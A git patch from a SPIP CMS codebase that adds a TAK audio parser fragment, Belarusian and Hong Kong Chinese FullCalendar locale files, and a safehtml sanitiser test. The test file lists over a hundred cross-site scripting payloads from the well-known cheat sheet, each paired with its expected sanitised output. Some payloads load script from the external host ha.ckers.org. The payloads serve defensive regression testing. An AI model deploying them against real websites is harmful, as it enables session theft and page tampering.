$info['avdataoffset']; + $thisfile_takaudio['uncompressed_size'] = $thisfile_takaudio['samples'] * $thisfile_takaudio['channels'] * ($thisfile_takaudio['bits_per_sample'] / 8); + if ($thisfile_takaudio['uncompressed_size'] == 0) { + $this->error('Corrupt TAK file: uncompressed_size == zero'); + return false; + } + $thisfile_takaudio['compression_ratio'] = $thisfile_takaudio['compressed_size'] / ($thisfile_takaudio['uncompressed_size'] + $offset); + $thisfile_takaudio['bitrate'] = (($thisfile_takaudio['samples'] * $thisfile_takaudio['channels'] * $thisfile_takaudio['bits_per_sample']) / $thisfile_takaudio['playtime']) * $thisfile_takaudio['compression_ratio']; + $info['audio']['bitrate'] = $thisfile_takaudio['bitrate']; + + if (empty($thisfile_takaudio_raw['MD5Data'])) { + //$this->warning('MD5Data is not set'); + } elseif ($thisfile_takaudio_raw['MD5Data'] === str_repeat("\x00", 16)) { + //$this->warning('MD5Data is null'); + } else { + $info['md5_data_source'] = ''; + $md5 = $thisfile_takaudio_raw['MD5Data']; + for ($i = 0; $i < strlen($md5); $i++) { + $info['md5_data_source'] .= str_pad(dechex(ord($md5[$i])), 2, '00', STR_PAD_LEFT); + } + if (!preg_match('/^[0-9a-f]{32}$/', $info['md5_data_source'])) { + unset($info['md5_data_source']); + } + } + + foreach (array('bits_per_sample', 'version', 'profile') as $key) { + if (!empty($thisfile_takaudio[$key])) { + $info['audio'][$key] = $thisfile_takaudio[$key]; + } + } + + return true; + } + + public function TAKFramesizeLookup($framesize) { + static $TAKFramesizeLookup = array( + 0 => '94 ms', + 1 => '125 ms', + 2 => '188 ms', + 3 => '250 ms', + 4 => '4096 samples', + 5 => '8192 samples', + 6 => '16384 samples', + 7 => '512 samples', + 8 => '1024 samples', + 9 => '2048 samples' + ); + return (isset($TAKFramesizeLookup[$framesize]) ? $TAKFramesizeLookup[$framesize] : 'invalid'); + } + public function TAKCodecTypeLookup($code) { + static $TAKCodecTypeLookup = array( + 0 => 'Integer 24 bit (TAK 1.0)', + 1 => 'Experimental!', + 2 => 'Integer 24 bit (TAK 2.0)', + 3 => 'LossyWav (TAK 2.1)', + 4 => 'Integer 24 bit MC (TAK 2.2)' + ); + return (isset($TAKCodecTypeLookup[$code]) ? $TAKCodecTypeLookup[$code] : 'invalid'); + } + public function TAKProfileLookup($code) { + $out ='-p'; + $evaluation = ($code & 0xf0) >> 4; + $compresion = $code & 0x0f; + static $TAKEvaluationLookup = array( + 0 => '', + 1 => 'e', + 2 => 'm' + ); + return (isset($TAKEvaluationLookup[$evaluation]) ? $out .= $compresion . $TAKEvaluationLookup[$evaluation] : 'invalid'); + } + +} diff --git a/www/plugins-dist/organiseur/lib/fullcalendar/locale/be.js b/www/plugins-dist/organiseur/lib/fullcalendar/locale/be.js new file mode 100755 index 00000000..8b55253b --- /dev/null +++ b/www/plugins-dist/organiseur/lib/fullcalendar/locale/be.js @@ -0,0 +1 @@ +!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t(require("moment"),require("fullcalendar")):"function"==typeof define&&define.amd?define(["moment","fullcalendar"],t):"object"==typeof exports?t(require("moment"),require("fullcalendar")):t(e.moment,e.FullCalendar)}("undefined"!=typeof self?self:this,function(e,t){return function(e){function t(r){if(n[r])return n[r].exports;var a=n[r]={i:r,l:!1,exports:{}};return e[r].call(a.exports,a,a.exports,t),a.l=!0,a.exports}var n={};return t.m=e,t.c=n,t.d=function(e,n,r){t.o(e,n)||Object.defineProperty(e,n,{configurable:!1,enumerable:!0,get:r})},t.n=function(e){var n=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(n,"a",n),n},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="",t(t.s=87)}({0:function(t,n){t.exports=e},1:function(e,n){e.exports=t},87:function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0}),n(88);var r=n(1);r.datepickerLocale("be","be",{closeText:"Зачыніць",prevText:"<Папярэд",nextText:"След>",currentText:"Сёння",monthNames:["Студзень","Люты","Сакавік","Красавік","Трав","Чэрвень","Ліпень","Жнівень","Верасень","Кастрычнік","Лістапад","Снежань"],monthNamesShort:["Студ","Лют","Сак","Крас","Трав","Чэрв","Ліп","Жнів","Вер","Каст","Ліст","Снеж"],dayNames:["нядзеля","панядзелак","аўторак","серада","чацвер","пятніца","субота"],dayNamesShort:["ндз","пнд","аўт","срд","чцв","птн","сбт"],dayNamesMin:["Нд","Пн","Ат","Ср","Чц","Пт","Сб"],weekHeader:"Ндз",dateFormat:"dd.mm.yy",firstDay:1,isRTL:!1,showMonthAfterYear:!1,yearSuffix:""}),r.locale("be",{buttonText:{month:"Месяц",week:"Тыдзень",day:"Дзень",list:"Парадак дня"},allDayHtml:"Увесь
дзень",eventLimitText:function(e){return"+ яшчэ "+e},noEventsMessage:"Няма падзей для адлюстравання"})},88:function(e,t,n){!function(e,t){t(n(0))}(0,function(e){function t(e,t){var n=e.split("_");return t%10==1&&t%100!=11?n[0]:t%10>=2&&t%10<=4&&(t%100<10||t%100>=20)?n[1]:n[2]}function n(e,n,r){var a={ss:n?"секунда_секунды_секунд":"секунду_секунды_секунд",mm:n?"хвіліна_хвіліны_хвілін":"хвіліну_хвіліны_хвілін",hh:n?"гадзіна_гадзіны_гадзін":"гадзіну_гадзіны_гадзін",dd:"дзень_дні_дзён",MM:"месяц_месяцы_месяцаў",yy:"год_гады_гадоў"};return"m"===r?n?"хвіліна":"хвіліну":"h"===r?n?"гадзіна":"гадзіну":e+" "+t(a[r],+e)}return e.defineLocale("be",{months:{format:"студзеня_лютага_сакавіка_красавіка_траўня_чэрвеня_ліпеня_жніўня_верасня_кастрычніка_лістапада_снежня".split("_"),standalone:"студзень_люты_сакавік_красавік_травень_чэрвень_ліпень_жнівень_верасень_кастрычнік_лістапад_снежань".split("_")},monthsShort:"студ_лют_сак_крас_трав_чэрв_ліп_жнів_вер_каст_ліст_снеж".split("_"),weekdays:{format:"нядзелю_панядзелак_аўторак_сераду_чацвер_пятніцу_суботу".split("_"),standalone:"нядзеля_панядзелак_аўторак_серада_чацвер_пятніца_субота".split("_"),isFormat:/\[ ?[Ууў] ?(?:мінулую|наступную)? ?\] ?dddd/},weekdaysShort:"нд_пн_ат_ср_чц_пт_сб".split("_"),weekdaysMin:"нд_пн_ат_ср_чц_пт_сб".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY г.",LLL:"D MMMM YYYY г., HH:mm",LLLL:"dddd, D MMMM YYYY г., HH:mm"},calendar:{sameDay:"[Сёння ў] LT",nextDay:"[Заўтра ў] LT",lastDay:"[Учора ў] LT",nextWeek:function(){return"[У] dddd [ў] LT"},lastWeek:function(){switch(this.day()){case 0:case 3:case 5:case 6:return"[У мінулую] dddd [ў] LT";case 1:case 2:case 4:return"[У мінулы] dddd [ў] LT"}},sameElse:"L"},relativeTime:{future:"праз %s",past:"%s таму",s:"некалькі секунд",m:n,mm:n,h:n,hh:n,d:"дзень",dd:n,M:"месяц",MM:n,y:"год",yy:n},meridiemParse:/ночы|раніцы|дня|вечара/,isPM:function(e){return/^(дня|вечара)$/.test(e)},meridiem:function(e,t,n){return e<4?"ночы":e<12?"раніцы":e<17?"дня":"вечара"},dayOfMonthOrdinalParse:/\d{1,2}-(і|ы|га)/,ordinal:function(e,t){switch(t){case"M":case"d":case"DDD":case"w":case"W":return e%10!=2&&e%10!=3||e%100==12||e%100==13?e+"-ы":e+"-і";case"D":return e+"-га";default:return e}},week:{dow:1,doy:7}})})}})}); \ No newline at end of file diff --git a/www/plugins-dist/organiseur/lib/fullcalendar/locale/zh-hk.js b/www/plugins-dist/organiseur/lib/fullcalendar/locale/zh-hk.js new file mode 100755 index 00000000..47cba5f4 --- /dev/null +++ b/www/plugins-dist/organiseur/lib/fullcalendar/locale/zh-hk.js @@ -0,0 +1 @@ +!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t(require("moment"),require("fullcalendar")):"function"==typeof define&&define.amd?define(["moment","fullcalendar"],t):"object"==typeof exports?t(require("moment"),require("fullcalendar")):t(e.moment,e.FullCalendar)}("undefined"!=typeof self?self:this,function(e,t){return function(e){function t(r){if(n[r])return n[r].exports;var o=n[r]={i:r,l:!1,exports:{}};return e[r].call(o.exports,o,o.exports,t),o.l=!0,o.exports}var n={};return t.m=e,t.c=n,t.d=function(e,n,r){t.o(e,n)||Object.defineProperty(e,n,{configurable:!1,enumerable:!0,get:r})},t.n=function(e){var n=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(n,"a",n),n},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="",t(t.s=213)}({0:function(t,n){t.exports=e},1:function(e,n){e.exports=t},213:function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0}),n(214);var r=n(1);r.datepickerLocale("zh-hk","zh-HK",{closeText:"關閉",prevText:"<上月",nextText:"下月>",currentText:"今天",monthNames:["一月","二月","三月","四月","五月","六月","七月","八月","九月","十月","十一月","十二月"],monthNamesShort:["一月","二月","三月","四月","五月","六月","七月","八月","九月","十月","十一月","十二月"],dayNames:["星期日","星期一","星期二","星期三","星期四","星期五","星期六"],dayNamesShort:["周日","周一","周二","周三","周四","周五","周六"],dayNamesMin:["日","一","二","三","四","五","六"],weekHeader:"周",dateFormat:"yy/mm/dd",firstDay:1,isRTL:!1,showMonthAfterYear:!0,yearSuffix:"å¹´"}),r.locale("zh-hk",{buttonText:{month:"月",week:"週",day:"天",list:"活動列表"},allDayText:"整天",eventLimitText:"顯示更多",noEventsMessage:"没有任何活動"})},214:function(e,t,n){!function(e,t){t(n(0))}(0,function(e){return e.defineLocale("zh-hk",{months:"一月_二月_三月_四月_五月_六月_七月_八月_九月_十月_十一月_十二月".split("_"),monthsShort:"1月_2月_3月_4月_5月_6月_7月_8月_9月_10月_11月_12月".split("_"),weekdays:"星期日_星期一_星期二_星期三_星期四_星期五_星期六".split("_"),weekdaysShort:"週日_週一_週二_週三_週四_週五_週六".split("_"),weekdaysMin:"日_一_二_三_四_五_六".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"YYYY/MM/DD",LL:"YYYYå¹´M月D日",LLL:"YYYYå¹´M月D日 HH:mm",LLLL:"YYYYå¹´M月D日dddd HH:mm",l:"YYYY/M/D",ll:"YYYYå¹´M月D日",lll:"YYYYå¹´M月D日 HH:mm",llll:"YYYYå¹´M月D日dddd HH:mm"},meridiemParse:/凌晨|早上|上午|中午|下午|晚上/,meridiemHour:function(e,t){return 12===e&&(e=0),"凌晨"===t||"早上"===t||"上午"===t?e:"中午"===t?e>=11?e:e+12:"下午"===t||"晚上"===t?e+12:void 0},meridiem:function(e,t,n){var r=100*e+t;return r<600?"凌晨":r<900?"早上":r<1200?"上午":1200===r?"中午":r<1800?"下午":"晚上"},calendar:{sameDay:"[今天]LT",nextDay:"[明天]LT",nextWeek:"[下]ddddLT",lastDay:"[昨天]LT",lastWeek:"[上]ddddLT",sameElse:"L"},dayOfMonthOrdinalParse:/\d{1,2}(日|月|週)/,ordinal:function(e,t){switch(t){case"d":case"D":case"DDD":return e+"日";case"M":return e+"月";case"w":case"W":return e+"週";default:return e}},relativeTime:{future:"%s後",past:"%s前",s:"幾秒",ss:"%d 秒",m:"1 分鐘",mm:"%d 分鐘",h:"1 小時",hh:"%d 小時",d:"1 天",dd:"%d 天",M:"1 個月",MM:"%d 個月",y:"1 å¹´",yy:"%d å¹´"}})})}})}); \ No newline at end of file diff --git a/www/plugins-dist/safehtml/tests/safehtml.php b/www/plugins-dist/safehtml/tests/safehtml.php new file mode 100755 index 00000000..49d8b34c --- /dev/null +++ b/www/plugins-dist/safehtml/tests/safehtml.php @@ -0,0 +1,853 @@ +' . join('', $err) . ''); + } + + echo "OK"; + + + function essais_safehtml(){ + $essais = array ( + 0 => + array ( + 0 => '', + 1 => '', + ), + 1 => + array ( + 0 => '0', + 1 => '0', + ), + 2 => + array ( + 0 => 'Un texte avec des liens [Article 1->art1] [spip->https://www.spip.net] https://www.spip.net', + 1 => 'Un texte avec des liens [Article 1->art1] [spip->https://www.spip.net] https://www.spip.net', + ), + 3 => + array ( + 0 => 'Un texte avec des entités &<>"', + 1 => 'Un texte avec des entités &<>"', + ), + 4 => + array ( + 0 => 'Un texte avec des entit&eacute;s echap&eacute; &amp;&lt;&gt;&quot;', + 1 => 'Un texte avec des entit&eacute;s echap&eacute; &amp;&lt;&gt;&quot;', + ), + 5 => + array ( + 0 => 'Un texte avec des entités numériques &<>"', + 1 => 'Un texte avec des entités numériques &<>"', + ), + 6 => + array ( + 0 => 'Un texte avec des entit&#233;s num&#233;riques echap&#233;es &#38;&#60;&#62;&quot;', + 1 => 'Un texte avec des entit&#233;s num&#233;riques echap&#233;es &#38;&#60;&#62;&quot;', + ), + 7 => + array ( + 0 => 'Un texte sans entites &<>"\'', + 1 => 'Un texte sans entites &<>"\'', + ), + 8 => + array ( + 0 => '{{{Des raccourcis}}} {italique} {{gras}} du code', + 1 => '{{{Des raccourcis}}} {italique} {{gras}} du code', + ), + 9 => + array ( + 0 => 'Un modele https://www.spip.net]>', + 1 => 'Un modele https://www.spip.net]>', + ), + 10 => + array ( + 0 => 'Un texte avec des retour +a la ligne et meme des + +paragraphes', + 1 => 'Un texte avec des retour +a la ligne et meme des + +paragraphes', + ), + 11 => + array ( + 0 => '\';alert(String.fromCharCode(88,83,83))//\\\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\\";alert(String.fromCharCode(88,83,83))//-->">\'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{}', + 1 => '\';alert(String.fromCharCode(88,83,83))//\\\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\\";alert(String.fromCharCode(88,83,83))//-->">\'>=&{}', + ), + 12 => + array ( + 0 => '\'\';!--"=&{()}', + 1 => '\'\';!--"=&{()}', + ), + 13 => + array ( + 0 => '<SCRIPT>alert(\'XSS\')</SCRIPT>', + 1 => '', + ), + 14 => + array ( + 0 => '<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>', + 1 => '', + ), + 15 => + array ( + 0 => '<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>', + 1 => '', + ), + 16 => + array ( + 0 => '<base HREF="javascript:alert(\'XSS\');//">', + 1 => '', + ), + 17 => + array ( + 0 => '<BGSOUND SRC="javascript:alert(\'XSS\');">', + 1 => '', + ), + 18 => + array ( + 0 => '<BODY BACKGROUND="javascript:alert(\'XSS\');">', + 1 => '', + ), + 19 => + array ( + 0 => '<BODY ONLOAD=alert(\'XSS\')>', + 1 => '', + ), + 20 => + array ( + 0 => '
', + 1 => '
', + ), + 21 => + array ( + 0 => '
', + 1 => '
', + ), + 22 => + array ( + 0 => '
', + 1 => '
', + ), + 23 => + array ( + 0 => '', + 1 => '', + ), + 24 => + array ( + 0 => '<IFRAME SRC="javascript:alert(\'XSS\');"></IFRAME>', + 1 => '', + ), + 25 => + array ( + 0 => '', + 1 => '', + ), + 26 => + array ( + 0 => '<IMG SRC="javascript:alert(\'XSS\');">', + 1 => '', + ), + 27 => + array ( + 0 => '<IMG SRC=javascript:alert(\'XSS\')>', + 1 => '', + ), + 28 => + array ( + 0 => '<IMG DYNSRC="javascript:alert(\'XSS\');">', + 1 => '', + ), + 29 => + array ( + 0 => '<IMG LOWSRC="javascript:alert(\'XSS\');">', + 1 => '', + ), + 30 => + array ( + 0 => '', + 1 => '', + ), + 31 => + array ( + 0 => 'exp/*', + 1 => 'exp/*', + ), + 32 => + array ( + 0 => '
  • XSS
', + 1 => '
  • XSS', + ), + 33 => + array ( + 0 => '<IMG SRC=\'vbscript:msgbox("XSS")\'>', + 1 => '', + ), + 34 => + array ( + 0 => '', + 1 => '', + ), + 35 => + array ( + 0 => '<IMG SRC="livescript:[code]">', + 1 => '', + ), + 36 => + array ( + 0 => '¼script¾alert(¢XSS¢)¼/script¾', + 1 => '¼script¾alert(¢XSS¢)¼/script¾', + ), + 37 => + array ( + 0 => '<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(\'XSS\');">', + 1 => '', + ), + 38 => + array ( + 0 => '<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">', + 1 => '', + ), + 39 => + array ( + 0 => '<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert(\'XSS\');">', + 1 => '', + ), + 40 => + array ( + 0 => '', + 1 => '', + ), + 41 => + array ( + 0 => '', + 1 => '', + ), + 42 => + array ( + 0 => '<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert(\'XSS\')></OBJECT>', + 1 => '', + ), + 43 => + array ( + 0 => '', + 1 => '', + ), + 44 => + array ( + 0 => '', + 1 => '', + ), + 45 => + array ( + 0 => '', + 1 => '', + ), + 46 => + array ( + 0 => '', + 1 => '', + ), + 47 => + array ( + 0 => '', + 1 => '', + ), + 48 => + array ( + 0 => '', + 1 => '', + ), + 49 => + array ( + 0 => '', + 1 => '', + ), + 50 => + array ( + 0 => '', + 1 => '', + ), + 51 => + array ( + 0 => '', + 1 => '', + ), + 52 => + array ( + 0 => '', + 1 => '', + ), + 53 => + array ( + 0 => '', + 1 => '', + ), + 54 => + array ( + 0 => '
    ', + 1 => '
    ', + ), + 55 => + array ( + 0 => '
    ', + 1 => '
    ', + ), + 56 => + array ( + 0 => ' +<?import namespace="xss" implementation="http://ha.ckers.org/xss.htc"> +XSS + +', + 1 => ' + +XSS + +', + ), + 57 => + array ( + 0 => '', + 1 => ']]> + +', + ), + 58 => + array ( + 0 => ' + +', + 1 => ' + +', + ), + 59 => + array ( + 0 => ' +', + 1 => ' +', + ), + 60 => + array ( + 0 => ' +<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"> + +<?import namespace="t" implementation="#default#time2"> +<SCRIPT DEFER>alert(\'XSS\')</SCRIPT>"> ', + 1 => ' + + + + ', + ), + 61 => + array ( + 0 => '', + 1 => '', + ), + 62 => + array ( + 0 => '<SCRIPT>alert(\'XSS\')</SCRIPT>">', + 1 => '', + ), + 63 => + array ( + 0 => '', + 1 => '', + ), + 64 => + array ( + 0 => '<SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>', + 1 => '', + ), + 65 => + array ( + 0 => '', + 1 => '', + ), + 66 => + array ( + 0 => '<? echo(\'alert("XSS")\'); ?>', + 1 => 'alert("XSS")\'); ?>', + ), + 67 => + array ( + 0 => '
    ', + 1 => '
    ', + ), + 68 => + array ( + 0 => '< +%3C +< +< +< +< +< +< +< + +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< + +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< + +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< + +< +< +< +< +< +< +\\x3c +\\x3C +\\u003c +\\u003C', + 1 => '< +%3C +< +< +< +< +< +< +< + +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< + +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< + +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< + +< +< +< +< +< +< +\\x3c +\\x3C +\\u003c +\\u003C', + ), + 69 => + array ( + 0 => '<IMG SRC=JaVaScRiPt:alert(\'XSS\')>', + 1 => '', + ), + 70 => + array ( + 0 => '<IMG SRC=javascript:alert(&quot;XSS&quot;)>', + 1 => '', + ), + 71 => + array ( + 0 => '<IMG SRC=`javascript:alert("RSnake says, \'XSS\'")`>', + 1 => '', + ), + 72 => + array ( + 0 => '<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>', + 1 => '', + ), + 73 => + array ( + 0 => '', + 1 => '', + ), + 74 => + array ( + 0 => '', + 1 => '', + ), + 75 => + array ( + 0 => '
    ', + 1 => '
    ', + ), + 76 => + array ( + 0 => '', + 1 => '', + ), + 77 => + array ( + 0 => ' ', + 1 => ' +ADw-SCRIPT+AD4-alert(\'XSS\');+ADw-/SCRIPT+AD4-', + ), + 78 => + array ( + 0 => '\\";alert(\'XSS\');//', + 1 => '\\";alert(\'XSS\');//', + ), + 79 => + array ( + 0 => '<SCRIPT>alert("XSS");</SCRIPT>', + 1 => '', + ), + 80 => + array ( + 0 => '', + 1 => '', + ), + 81 => + array ( + 0 => '<IMG SRC="jav ascript:alert(\'XSS\');">', + 1 => '', + ), + 82 => + array ( + 0 => '<IMG SRC="jav&#x09;ascript:alert(\'XSS\');">', + 1 => '', + ), + 83 => + array ( + 0 => '<IMG SRC="jav&#x0A;ascript:alert(\'XSS\');">', + 1 => '', + ), + 84 => + array ( + 0 => '<IMG SRC="jav&#x0D;ascript:alert(\'XSS\');">', + 1 => '', + ), + 85 => + array ( + 0 => ' ', + 1 => ' ', + ), + 86 => + array ( + 0 => '<IMG SRC=java' . "\0" . 'script:alert("XSS")>', + 1 => '', + ), + 87 => + array ( + 0 => '&alert("XSS")', + 1 => '&alert("XSS")', + ), + 88 => + array ( + 0 => '<IMG SRC=" &#14; javascript:alert(\'XSS\');">', + 1 => '', + ), + 89 => + array ( + 0 => '<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>', + 1 => '', + ), + 90 => + array ( + 0 => '|\\]^`=alert("XSS")>', + 1 => '', + ), + 91 => + array ( + 0 => '<SCRIPT SRC=http://ha.ckers.org/xss.js', + 1 => '', + ), + 96 => + array ( + 0 => '<SCRIPT>alert("XSS")</SCRIPT>">', + 1 => '">', + ), + 97 => + array ( + 0 => '<SCRIPT>a=/XSS/
    +alert(a.source)</SCRIPT>
    ', + 1 => '', + ), + 98 => + array ( + 0 => '<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>', + 1 => '', + ), + 99 => + array ( + 0 => '<SCRIPT ="blah" SRC="http://ha.ckers.org/xss.js"></SCRIPT>', + 1 => '', + ), + 100 => + array ( + 0 => '<SCRIPT a="blah" \'\' SRC="http://ha.ckers.org/xss.js"></SCRIPT>', + 1 => '', + ), + 101 => + array ( + 0 => '<SCRIPT "a=\'>\'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>', + 1 => '', + ), + 102 => + array ( + 0 => '<SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>', + 1 => '', + ), + 103 => + array ( + 0 => '<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js">', + 1 => 'PT SRC="http://ha.ckers.org/xss.js">', + ), + 104 => + array ( + 0 => '<SCRIPT a=">\'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>', + 1 => '', + ), + 105 => + array ( + 0 => 'XSS', + 1 => 'XSS', + ), + 106 => + array ( + 0 => 'XSS', + 1 => 'XSS', + ), + 107 => + array ( + 0 => 'XSS', + 1 => 'XSS', + ), + 108 => + array ( + 0 => 'XSS', + 1 => 'XSS', + ), + 109 => + array ( + 0 => 'XSS', + 1 => 'XSS', + ), + 110 => + array ( + 0 => 'XSS', + 1 => 'XSS', + ), + 111 => + array ( + 0 => 'XSS', + 1 => 'XSS', + ), + 112 => + array ( + 0 => 'XSS', + 1 => 'XSS', + ), + 113 => + array ( + 0 => 'XSS', + 1 => 'XSS', + ), + 114 => + array ( + 0 => 'XSS', + 1 => 'XSS', + ), + 115 => + array ( + 0 => 'XSS', + 1 => 'XSS', + ), + 116 => + array ( + 0 => 'XSS', + 1 => 'XSS', + ), + 117 => + array ( + 0 => 'XSS', + 1 => 'XSS', + ), + 118 => + array ( + 0 => 'XSS', + 1 => 'XSS', + ), + 119 => + array ( + 0 => '', + 1 => '', + ), +); + return $essais; + } + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + -- 2.20.1